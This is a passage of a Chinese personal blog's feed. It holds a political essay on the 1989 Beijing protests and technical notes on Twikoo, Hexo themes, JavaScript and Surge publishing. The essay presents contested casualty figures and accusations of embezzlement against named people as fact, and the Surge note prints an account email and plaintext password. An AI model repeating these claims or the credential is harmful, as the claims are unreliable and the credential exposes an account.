        <content type="html"><![CDATA[<p><img src="https://imgbed.eamon.dpdns.org/file/1751278054039_%E6%9F%B4%E5%90%BE%E6%9E%97.webp" alt="历史罪人”柴吾林“"></p><p>柴吾林 之流，对治国理政一窍不通却妄图取而代之。柴吾二人 溜得比谁都快，拱火 让别人去送死 来满足自己 膨胀的虚荣心。几十年如一日地造谣抹黑，拿着当年的“人血馒头”不撒手。他们若能当回“红卫兵”，相信会像《茶馆》里的“打手”一样，必定干得“十分出色”。 </p><p>侯刘 这些“尊重事实，懂得反思”的人才值得尊敬！温总理 提到的“政治体制改革”有必要，但要注意时机和方式。不然稍有不慎，就会变成台湾那种“政党恶斗、族群对立”，<code>垃圾民主</code>的典范。</p><p><code>官倒</code>实属可恨，但换他们上位就行了？民主，或专制，与<code>贪污</code>无必然联系。<code>绝食抗议</code> 终于争取来了与总理交流的机会，吾 却“吊儿郎当，不谈具体诉求”，反而故作高姿态、无底线地<code>要胁</code>执政党做出让步。这是<code>提诉求</code>的态度吗？试问哪个执政党能容忍“如此无礼”？也就是邓公他们理解国民的不满情绪，在乎抗议学生的性命。若换做老美早就暴力驱散了！<code>吾</code>鼓动别人绝食，自己却<code>开小灶</code>，还将募集资金用于个人挥霍。指望他<code>反官倒</code>？<code>吾</code>贪得比谁都欢。</p><p>此次风波，给社会和群众带来了严重损失——部分解放军惨死，市民学生伤亡，总计约二三百人。刘 作为组织者之一，不管出发点再怎么好，事实上也确实助推了骚乱升级，应承担部分责任。2019年的香港黑暴，就是此次事件的<code>重现</code>。积极意义就是，让很多被西媒误导的、不明当年真相香港人民，亲身感受那只<code>输出动乱的无形的手</code>，彻底认清西方的<code>丑恶嘴脸</code>。</p><h3 id="港-某博主："><a href="#港-某博主：" class="headerlink" title="港 某博主："></a>港 某博主：</h3><div class="video-container"><iframe width="560" height="315" src="https://www.youtube.com/embed/DKncLtTtuUc?si=4D6wi-1nl0cq3GTS" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div><style>.video-container {    position: relative;    width: 100%;    padding-top: 56.25%; /* 16:9 aspect ratio (height/width = 9/16 * 100%) */}.video-container iframe {    position: absolute;    top: 0;    left: 0;    width: 100%;    height: 100%;}</style>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 政治 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Twikoo部署</title>
      <link href="/posts/twikoo-bu-shu/"/>
      <url>/posts/twikoo-bu-shu/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="部署方式（推荐1、2，大陆直连）"><a href="#部署方式（推荐1、2，大陆直连）" class="headerlink" title="部署方式（推荐1、2，大陆直连）"></a>部署方式（推荐1、2，大陆直连）</h2><h3 id="1-netlify"><a href="#1-netlify" class="headerlink" title="1.netlify:"></a>1.netlify:</h3><p><a href="https://nt-twikoo.eamon.dpdns.org/.netlify/functions/twikoo">https://nt-twikoo.eamon.dpdns.org/.netlify/functions/twikoo</a></p><iframesrc="https://nt-twikoo.eamon.dpdns.org/.netlify/functions/twikoo"frameborder="0"height="150" width="100%"></iframe><p><a href="https://yujun.netlify.app/.netlify/functions/twikoo">https://yujun.netlify.app/.netlify/functions/twikoo</a></p><iframesrc="https://yujun.netlify.app/.netlify/functions/twikoo"frameborder="0"height="150" width="100%"></iframe><h3 id="2-HuggingFace（SMTP端口被封，邮件通知功能-失效！镜像被封，该部署方式失效）"><a href="#2-HuggingFace（SMTP端口被封，邮件通知功能-失效！镜像被封，该部署方式失效）" class="headerlink" title="2.HuggingFace（SMTP端口被封，邮件通知功能 失效！镜像被封，该部署方式失效）:"></a>2.HuggingFace（SMTP端口被封，邮件通知功能 失效！镜像<code>被封</code>，该部署方式失效）:</h3><p><del><a href="https://mancai-twikoo.hf.space/">https://mancai-twikoo.hf.space/</a></del></p><iframesrc="https://mancai-twikoo.hf.space/"frameborder="0"height="150" width="100%"></iframe><h3 id="3-vercel"><a href="#3-vercel" class="headerlink" title="3. vercel:"></a>3. vercel:</h3><p><a href="https://v-twikoo.eamon.dpdns.org/">https://v-twikoo.eamon.dpdns.org</a></p><iframesrc="https://v-twikoo.eamon.dpdns.org"frameborder="0"height="150" width="100%"></iframe><p><a href="https://twikoo-alpha-blue.vercel.app/">https://twikoo-alpha-blue.vercel.app</a></p><iframesrc="https://twikoo-alpha-blue.vercel.app"frameborder="0"height="150" width="100%"></iframe><h3 id="4-worker"><a href="#4-worker" class="headerlink" title="4.worker:"></a>4.worker:</h3><p><a href="https://twikoowk.eamon.ggff.net/">https://twikoowk.eamon.ggff.net</a></p><iframesrc="https://twikoowk.eamon.ggff.net"frameborder="0"height="150" width="100%"></iframe><p><a href="https://twikoo-cloudflare.z1260750674.workers.dev/">https://twikoo-cloudflare.z1260750674.workers.dev/</a></p><iframesrc="https://twikoo-cloudflare.z1260750674.workers.dev/"frameborder="0"height="150" width="100%"></iframe><h2 id="数据库comment表中-字段的-意义"><a href="#数据库comment表中-字段的-意义" class="headerlink" title="数据库comment表中 字段的 意义:"></a>数据库comment表中 字段的 意义:</h2><p>_id: 这是一个唯一标识该条评论的字符串ID,通常用作MongoDB数据库中的主键。它具有唯一性和重要性,是评论的主要标识。<br>uid: 这是一个唯一标识评论者的字符串ID。它可以用来关联评论与评论者的其他信息,比如头像、用户名等。<br>nick: 这是评论者的昵称,用于在评论中显示评论者的名称。<br>mail: 这是评论者的邮箱地址,可用于联系评论者或进行邮件通知。<br>mailMd5: 这是评论者邮箱地址的MD5哈希值,用于gravatar头像服务的集成。<br>link: 这是评论者的个人网站链接,可以在评论中展示。<br>ua: 这是评论者使用的用户代理字符串,可以用于分析评论者的设备和浏览器信息。<br>ip: 这是评论者的IP地址,可用于分析评论来源和检测异常情况。<br>master: 这个标志是否是博主的评论,0表示普通用户评论,1表示博主评论。</p><div class="note warning modern"><p>注意：关于评论所在的post页面链接！本地环境有 显性的<code>.html</code>后缀。而 生产环境 表面 无后缀 且以表面形式保存到了数据库中（生产环境实际是html页面，但线上环境会自动隐藏<code>.html</code>后缀）</p></div><p>url: 这是评论所在页面的URL。<br>href: 这是评论所在页面的完整URL（邮件通知中，评论所在的页面链接）。</p><p>comment: 这是评论的内容文本。<br>pid: 这是父级评论的ID,用于实现评论的层级关系。<br>rid: 这是回复评论的ID,用于将回复与被回复的评论关联起来。<br>isSpam: 这个标志是否将该评论识别为垃圾评论,0表示正常评论,1表示垃圾评论。<br>created: 这是评论创建的Unix时间戳,用于评论的时间排序。<br>updated: 这是评论最后更新的Unix时间戳。<br>like: 这是对该评论的点赞信息,以JSON数组的形式存储。<br>top: 这个标志是否将该评论置顶,0表示普通评论,1表示置顶评论。<br>avatar: 这是评论者的头像URL,可用于在评论中显示头像。</p><p>总的来说,这些字段涵盖了评论的各个方面,包括评论者信息、评论内容、评论关系、评论状态等,为Twikoo提供了丰富的数据支持。其中,_id、uid和created等字段是比较重要的,可以作为数据的主键和索引。</p><h2 id="导入数据库中的数据，需注意："><a href="#导入数据库中的数据，需注意：" class="headerlink" title="导入数据库中的数据，需注意："></a>导入数据库中的数据，需注意：</h2><blockquote><p>1.url,href的路径是否还存在，且 不同环境下 的页面路径与数据库中的路径一致（注意路径是否有<code>.html</code>后缀！！），不然即便导入成功也无处渲染。<br>2.like字段，与“点赞者”创建 赞 时，保留的 赞id和个人信息 有依赖关系。<br>3.每个评论的”_id”是唯一的。</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 工具 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Anzhiyu-Theme探讨</title>
      <link href="/posts/anzhiyu-theme-tan-tao/"/>
      <url>/posts/anzhiyu-theme-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="一、-网站（主要）目录结构："><a href="#一、-网站（主要）目录结构：" class="headerlink" title="一、 网站（主要）目录结构："></a>一、 网站（主要）目录结构：</h2><div class="tip info"><p>“tree &#x2F;f &gt; tree.txt”命令，将当前目录下的 所有文件夹及文件 以“文件树”形式输出到当前路径下的tree.txt中。</p></div><div class="tip cogs"><p>blog&#x2F;source文件夹下：</p></div><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">│  ads.txt</span><br><span class="line">│  cacheList.json</span><br><span class="line">│  manifest.json</span><br><span class="line">│  README.md</span><br><span class="line">│  update.json</span><br><span class="line">│  </span><br><span class="line">├─about</span><br><span class="line">│      index.md</span><br><span class="line">│      </span><br><span class="line">├─archives</span><br><span class="line">│      index.md</span><br><span class="line">│      </span><br><span class="line">├─categories</span><br><span class="line">│      index.md</span><br><span class="line">│      </span><br><span class="line">├─icons</span><br><span class="line">│      icon-192x192.png</span><br><span class="line">│      </span><br><span class="line">├─tags</span><br><span class="line">│      index.md</span><br><span class="line">│      </span><br><span class="line">├─_data</span><br><span class="line">│      about.yml</span><br><span class="line">│      link.yml</span><br><span class="line">│      </span><br><span class="line">├─_drafts</span><br><span class="line">└─_posts</span><br><span class="line">    │  absolute探讨.md</span><br></pre></td></tr></table></figure><div class="tip cogs"><p>blog&#x2F;public文件夹下：</p></div>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">│  ads.txt</span><br><span class="line">│  cacheList.json</span><br><span class="line">│  manifest.json</span><br><span class="line">│  README.md</span><br><span class="line">│  update.json</span><br><span class="line">│  (上面从是source经`hexo g`来的)</span><br><span class="line">│</span><br><span class="line">│  404.html</span><br><span class="line">│  index.html</span><br><span class="line">│  search.xml</span><br><span class="line">│  sitemap.txt</span><br><span class="line">│  sw-dom.js</span><br><span class="line">│  sw.js</span><br><span class="line">│  </span><br><span class="line">├─about</span><br><span class="line">│      index.html</span><br><span class="line">│      </span><br><span class="line">├─archives</span><br><span class="line">│  │  index.html</span><br><span class="line">│  │                                 </span><br><span class="line">├─categories</span><br><span class="line">│  │  index.html</span><br><span class="line">│  │  </span><br><span class="line">│  ├─learning</span><br><span class="line">│  │  │  index.html    </span><br><span class="line">├─css</span><br><span class="line">│      index.css    </span><br><span class="line">├─icons</span><br><span class="line">│      icon-192x192.png</span><br><span class="line">├─img</span><br><span class="line">│      10.png    </span><br><span class="line">├─js</span><br><span class="line">│  │  main.js            </span><br><span class="line">├─page</span><br><span class="line">│  ├─2</span><br><span class="line">│  │      index.html       </span><br><span class="line">├─posts</span><br><span class="line">│  │  absolute_tan_tao.html</span><br></pre></td></tr></table></figure><h2 id="二、hexo-swpp-3-3-1和swpp-backends-2-3-11"><a href="#二、hexo-swpp-3-3-1和swpp-backends-2-3-11" class="headerlink" title="二、hexo-swpp@3.3.1和swpp-backends@2.3.11"></a>二、<code>hexo-swpp@3.3.1</code>和<code>swpp-backends@2.3.11</code></h2><div class="tip cogs"><ol><li>注意两者的版本要相兼容，且不能太高；</li><li>“<a href="mailto:&#104;&#x65;&#x78;&#x6f;&#45;&#x73;&#119;&#x70;&#x70;&#x40;&#52;&#46;&#48;&#x2e;&#x30;&#x2d;&#x61;&#x6c;&#x70;&#104;&#97;&#46;&#49;&#49;&#50;">hexo-swpp@4.0.0-alpha.112</a>“和”<a href="mailto:&#x73;&#119;&#x70;&#x70;&#45;&#x62;&#97;&#99;&#x6b;&#x65;&#110;&#100;&#115;&#64;&#51;&#x2e;&#48;&#46;&#x30;&#x2d;&#x61;&#x6c;&#112;&#104;&#x61;&#x2e;&#x34;&#50;&#x32;">swpp-backends@3.0.0-alpha.422</a>“虽相兼容,但会跳过“主题中的sw-rule.js”，须另外配置seviceWorker服务。</li></ol></div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># pwa资源优化</span><br><span class="line">swpp:</span><br><span class="line">  # 是否启用插件</span><br><span class="line">  enable: true</span><br><span class="line">  # 是否在发布前自动执行脚本</span><br><span class="line">  auto_exec: false</span><br><span class="line">  npm_url: &#x27;https://registry.npmmirror.com&#x27;</span><br></pre></td></tr></table></figure><h2 id="三、update-json和cacheList-json"><a href="#三、update-json和cacheList-json" class="headerlink" title="三、update.json和cacheList.json"></a>三、<code>update.json</code>和<code>cacheList.json</code></h2><ol><li>这两个文件是<code>hexo swpp</code>命令同时生成的（前提是<code>_config.yml</code>中的swpp选项<code>auto_exec:false</code>！否则<code>hexo swpp</code>命令无效，只能经<code>hexo d</code>命令才可生成！）。<br><img src="/posts/anzhiyu-theme-tan-tao/hexo-swpp.PNG" alt="hexo-swpp"></li><li>只有 存在于<code>cacheList.json</code>文件列表中的资源，才能被seviceWorker缓存；该文件列表的变动会随即影响<code>update.json</code>中的内容（记录更新了哪些文件，更新seviceWorker的版本号）。</li><li>服务器根目录必须有<code>update.json</code>，用于“记录sw中的文件更新并更改sw缓存版本号”；若网站根目录（包括服务器根目录）缺失该文件，执行<code>hexo swpp</code>会报错；故直接放到source目录，首次新建<code>update.json</code>并推送到服务器，今后<code>hexo swpp</code>会自动以服务器上的update.json为基础“记录sw中的文件更新并更改sw缓存版本号”，并同步到本地public中的<code>update.json</code>。</li><li><code>cacheList.json</code>的生成出口是<code>public/</code>；执行<code>hexo g</code>后该目录会被删除；所以当不执行<code>hexo swpp</code>，或<code>auto_exec:false</code>条件下也不执行<code>hexo d</code>时，为保证服务器根目录一直存在<code>cacheList.json</code>，须直接拷贝一份到<code>source/</code>下。</li></ol> <div class="tip bolt"><ol><li>今后即便直接<code>hexo g</code>不再执行<code>hexo swpp</code>也有 旧<code>cacheList.json</code>可推送到服务器;</li><li>若<code>hexo g</code>后，继续执行<code>hexo swpp</code>会生成<code>cacheList.json</code>覆盖旧的；同时public中的<code>update.json</code>会以服务器上的<code>update.json</code>为基准，记录变动的内容，本地public中的<code>update.json</code>自动与服务器同步。</li></ol></div>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> hexo </tag>
            
            <tag> anzhiyu </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Js数据类型转换,及运算符</title>
      <link href="/posts/js-shu-ju-lei-xing-zhuan-huan-ji-yun-suan-fu/"/>
      <url>/posts/js-shu-ju-lei-xing-zhuan-huan-ji-yun-suan-fu/</url>
      
        <content type="html"><![CDATA[<p><strong>一、不同的数据类型会占用不同大小的内存空间，为数据指定相应的数据类型，可以更合理地使用内存。</strong></p><p><strong>二、js中的数据类型（7种原始类型&#x2F;基本类型，1种引用类型&#x2F;复杂类型）</strong><br>原始类型&#x2F;基本类型：Number,String,Boolean,Null,Undifined,BigInt,Symbol<br>引用类型&#x2F;复杂类型: Object</p><p>typeof 操作符【此为操作符，并非构造函数！typeof()中的()只是将后续的内容当做一个整体而已，非必须有】<br>作用：以 字符串形式 返回 变量中值的 数据类型。<br>“undefined”表示 变量 已使用var,let等关键字声明，但未赋值（初始化）;<br>“boolean”表示为 变量值的 数据类型为 布尔值;<br>“string”表示为字符串;<br>“number”表示为数值;<br>“object”表示为对象；（变量值为null时， typeof测出来的数据类型是object —特殊情况）<br>“function”表示为函数;<br>“symbol”表示为符号；</p> <span id="more"></span><p><code>1.Number</code><br>一般值：整数，小数（又称 浮点数，小数运算之前，必须先把小数转换为整数！）；<br>特殊值：NAN, Infinity, MAX_VALUE, MIN_VALUE</p><p>NaN (为not a number的简写)代表一个计算错误，它是一个错误的操作所得到的结果；console.log(10 * “abc”); &#x2F;&#x2F; NaN<br>NaN和任何数据进行运算，结果都是NaN。<br>Infinity, 无穷大 ；-Infinity, 负无穷大 【1&#x2F;0 在js中值为无穷大，java中会直接报错】</p><p>MAX_VALUE, MIN_VALUE（最大正数值，最小正数值）<br>用法：<br>var min &#x3D; Number.MIN_VALUE;<br>var max &#x3D; Number.MAX_VALUE;</p><p>isNaN()构造函数<br>用法及作用<br>isNaN(num)，判断num值为NaN则返回true</p><p><code>2.String</code><br>var str &#x3D; ‘qwer’;<br>str.length获取str的length<br>str[1]获取str的第2个字母</p><p>字符串的拼接【’+’遇到 字符串，直接解释为 字符串拼接】<br>转义字符（&#39;、&quot;引号的 转义，\n换行等）<br>es6中的 模板字符串。用法（反引号中直接写 包含 以${}包裹变量名的 字符串）：<code>qwer$&#123;变量名&#125;erter</code></p><p><code>3.Boolean(共2个值，非true即false)</code><br>关系运算符 返回的结果，就是布尔数据类型。console.log(2 &gt; 1);   &#x2F;&#x2F;true<br>‘!’的 取反 操作。<br><code>4.Undefined(只有1个值undefined)</code><br>变量 已使用var,let等关键字声明，但未赋值（初始化） 时，该变量的数据类型为Undefined。被动的，很少主动用！<br>   var uname;<br>   console.log(uname);  &#x2F;&#x2F;变量的值 默认为 undefined<br>   console.log(typeof uname);  &#x2F;&#x2F;变量中值的 数据类型 为undefined<br><code>5.Null(只有1个值Null）</code><br>用法（给一个已经声明的变量进行初始化，经常用！）：var user &#x3D; null;<br><code>6.Object</code><br>可以表示一组数据，是其他数据的一个集合。可看作一个容器，是js中众多容器 {}  []  set map…中的一种。</p><p><strong>三、js中的 数据类型转换</strong><br><code>1.其它数据类型 转为 String类型</code><br>强转：  toString()  String()<br>toString() 【只能把number 和 boolean 转换为字符串！undefined、Null都没有原型链，无法强转】<br>举例：  var a &#x3D; 100;<br>a不是一个对象，a.toString(),会瞬间把a包装成一个对象，这类对象叫包装对象，其中’. ‘为属性访问运算符。</p><p>String()构造函数，强大！【可以把number、boolean、undefined、null、字面量(固定取值) 转换为字符串！】</p><p>隐式转换：方便！（’+’遇到 字符串，直接解释为 拼接字符串，故 字符串前直接加’+’ 即可对其完成类型转换）<br>【运算符 左右两侧数据类型不一致时，运算符会悄悄的把一种数据类型转为另一种数据类型，保持数据类型一致。】</p><p><code>2.其它数据类型 转为 Number类型</code><br>Number() 构造函数，或者前面加上”+” 【把”123”、”   123   “转成123、空格字符串”     “或空串”” 转成0、”100px”转成NaN】<br>特殊：Number(false)和Number(Null) 都转为 0。Number(true) 转为 1。Number(undefined) 转为 NaN。</p><p>parseInt转为整数 parseFloat转为小数【能转则转！”100px”转成100，”px100”转成NaN】</p><p><code>3.其它数据类型 转为 Boolean类型</code><br>Boolean() 构造函数，强转<br> 【转为false: 0, null, NaN, undefined, 空串””。其他情况都转为true】</p><p><strong>四、运算符</strong><br>       &#x2F;&#x2F; 运算符：具有某些特定功能的符号  +  -  *  &#x2F;  %<br>        &#x2F;&#x2F; 操作数： 1 + 1 运算符号两侧的数据都是 操作数<br>        &#x2F;&#x2F; 要求：运算的时候，左右两侧的数据类型必须保持一致。如果不一致，会发生类型转换。</p><pre><code>    //  从功能上划分：【运算后，都会整体返回一个布尔值。】    //     算术运算符    //     递增递减运算符( ++ 在前，整体是一个新值 ，++在后整体是一个旧值)    //     关系运算符【算数、递增递减、和关系运算符中，会把两边的 操作数 隐式转换为Number类型】    //     逻辑运算符（&amp;&amp;一假全假、||一真全真、!。注意：&amp;&amp;碰到第一个为false，便会立即中断后续的语句。|| 碰到第一个为true，也会立即中断后续的语句。）    //     赋值运算符    // 从操作数上划分    //    一元运算符  单目运算符    //    二元运算符  双目运算符    //    三元运算符  三目运算符  三元表达式 （表达式 ? 结果A : 结果B）</code></pre><p>【拓展】<br>1.!&#x3D;隐式类型转换 不判断数据类型。!&#x3D;&#x3D;判断数据类型（&#x3D;&#x3D;与&#x3D;&#x3D;&#x3D;同理）</p><p>2.后端传递数据过来进行判断时，为数组时判断数组的长度，为对象时用if(Object.keys(obj).length){}，判断对象属性数组长度。<br>如果可能传过来null，也有可能传过来数组，并且不希望空数组执行语句，则可以if(res &amp;&amp; res.length){}，res和res.length位置不能换，如果为null，则直接返回null，后面的res.length不执行，从而不报错，如果为[]，则res.length为0，返回0，也将空数组去除了。</p><p>3.在js中根本不存在真正的空对象，理解这一点至关重要！即使时最简单的{}对象也会包含从Object.prototype继承而来的属性和方法。我们提到的”空对象”只是说这个对象没有自有属性，不考虑它是否有继承而来的属性。<br>{}、null、[]的区别【注：在转化为 布尔值时，只有null转为false！[]、{}都会被转为true。】<br>{}是一个不完全空的对象，原型链上有Object；null为原型链顶端，因此Object.prototype.<strong>proto</strong>&#x3D;&#x3D;&#x3D;null为true。<br>null是完全空对象，原型链也没有。<br>[]原型链上还比{}多一个Array。</p><p>4.使用 三元运算符能做到的，if else语句也能做到。只是三元运算符不仅能用于js，也能与html标签结合使用：</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用Surge发布前端项目</title>
      <link href="/posts/shi-yong-surge-fa-bu-qian-duan-xiang-mu/"/>
      <url>/posts/shi-yong-surge-fa-bu-qian-duan-xiang-mu/</url>
      
        <content type="html"><![CDATA[<p>Surge是面向前端开发人员的静态web发布网站。</p><h4 id="1-安装node"><a href="#1-安装node" class="headerlink" title="1. 安装node"></a>1. 安装node</h4><h4 id="2-安装surge"><a href="#2-安装surge" class="headerlink" title="2. 安装surge"></a>2. 安装surge</h4><p>npm install –global surge</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">操作命令：</span><br><span class="line">$ surge --help</span><br><span class="line">  surge – single command web publishing. (v0.23.1)</span><br><span class="line">  Usage:</span><br><span class="line">    surge &lt;project&gt; &lt;domain&gt;</span><br><span class="line">  Options:</span><br><span class="line">    -a, --add           adds user to list of collaborators (email address)</span><br><span class="line">    -r, --remove        removes user from list of collaborators (email address)</span><br><span class="line">    -V, --version       show the version number</span><br><span class="line">    -h, --help          show this help message</span><br><span class="line">  Additional commands:</span><br><span class="line">    surge whoami        show who you are logged in as</span><br><span class="line">    surge logout        expire local token</span><br><span class="line">    surge login         only performs authentication step</span><br><span class="line">    surge list          list all domains you have access to</span><br><span class="line">    surge teardown      tear down a published project</span><br><span class="line">    surge plan          set account plan  Guides:</span><br><span class="line">    Getting started     surge.sh/help/getting-started-with-surge</span><br><span class="line">    Custom domains      surge.sh/help/adding-a-custom-domain</span><br><span class="line">    Additional help     surge.sh/help</span><br><span class="line">  When in doubt, run surge from within your project directory.</span><br></pre></td></tr></table></figure><h4 id="3-进入待发布的目录"><a href="#3-进入待发布的目录" class="headerlink" title="3.进入待发布的目录"></a>3.进入待发布的目录</h4><p>cd <to-public-dir></p><h4 id="4-发布"><a href="#4-发布" class="headerlink" title="4.发布"></a>4.发布</h4><p>【可直接命令（<code>surge + project相对路径 + 自定义域名</code>）进行project的发布，不过域名可能会冲突！！！】</p><p>$ surge<br>   Welcome to surge! (surge.sh)<br>   Login (or create surge account) by entering email &amp; password.<br>          email: <a href="mailto:&#x6d;&#x65;&#64;&#x78;&#x69;&#101;&#120;&#105;&#x61;&#x6e;&#98;&#x69;&#x6e;&#46;&#x63;&#x6e;">me@xiexianbin.cn</a><br>       password: Surge2022<br>   Running as <a href="mailto:&#109;&#x65;&#64;&#120;&#x69;&#101;&#120;&#x69;&#x61;&#110;&#x62;&#105;&#x6e;&#46;&#x63;&#x6e;">me@xiexianbin.cn</a> (Student)<br>        project: D:\code\public<br>domain: fallacious-action.surge.sh 此域名可 自定义为 *****.surge.sh，域名太短可能会发生冲突，配置失效！！<br>     encryption: *.surge.sh, surge.sh (185 days)<br>             IP: 138.197.235.123<br>   Success! - Published to fallacious-action.surge.sh</p><p><code>发布成功后，访问指定ip或域名即可在线看到 此project。</code><br><code>撤销已发布项目 使用命令 surge teardown+域名。</code><br><code>亲测速度还可以，很方便。可以自定义 多个域名，但共享同一个ip</code></p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 工具 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Class构造器</title>
      <link href="/posts/class-gou-zao-qi/"/>
      <url>/posts/class-gou-zao-qi/</url>
      
        <content type="html"><![CDATA[<p>JavaScript 语言中，生成实例对象的传统方法是通过构造函数。ES6 的class可以看作只是一个语法糖，它的绝大部分功能，ES5 都可以做到，新的class写法只是让对象原型的写法更加清晰更像面向对象编程的语法而已。所以ES6 的类，完全可以看作 构造函数的另一种写法。</p><h2 id="构造函数"><a href="#构造函数" class="headerlink" title="构造函数"></a>构造函数</h2><p>constructor方法是类的默认方法，通过new命令生成对象实例时，自动调用该方法。一个类必须有constructor方法，如果没有显式定义，一个空的constructor方法会被默认添加。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span>&#123;</span><br><span class="line">&#125;</span><br><span class="line">等同于</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span>&#123;</span><br><span class="line">  <span class="comment">// 构造函数</span></span><br><span class="line">  <span class="title function_">constructor</span>(<span class="params"></span>)&#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实例-属性和方法、静态-属性和方法"><a href="#实例-属性和方法、静态-属性和方法" class="headerlink" title="实例 属性和方法、静态 属性和方法"></a>实例 属性和方法、静态 属性和方法</h2><p>定义在类体中的属性称为实例属性，定义在类体中的方法称为实例方法。如下，temp、name、age就是实例属性，sayName方法就是实例方法。</p><p>同理，直接通过类调用的，而不是通过实例对象调用的。即只能通过“类名.names”或“类名.fn()”方式访问的属性和方法，便是 静态属性、静态方法。不会被实例继承</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">    <span class="title function_">constructor</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">        <span class="comment">// 实例属性  【常用】</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">        <span class="comment">// 实例方法  不常用</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">sayName</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;i am &quot;</span>, <span class="variable language_">this</span>.<span class="property">name</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 实例属性</span></span><br><span class="line">    temp = <span class="string">&#x27;briup&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 给原型对象 添加 公有方法 【常用】</span></span><br><span class="line">    <span class="title function_">say</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;我是Person对应的 原型对象上的 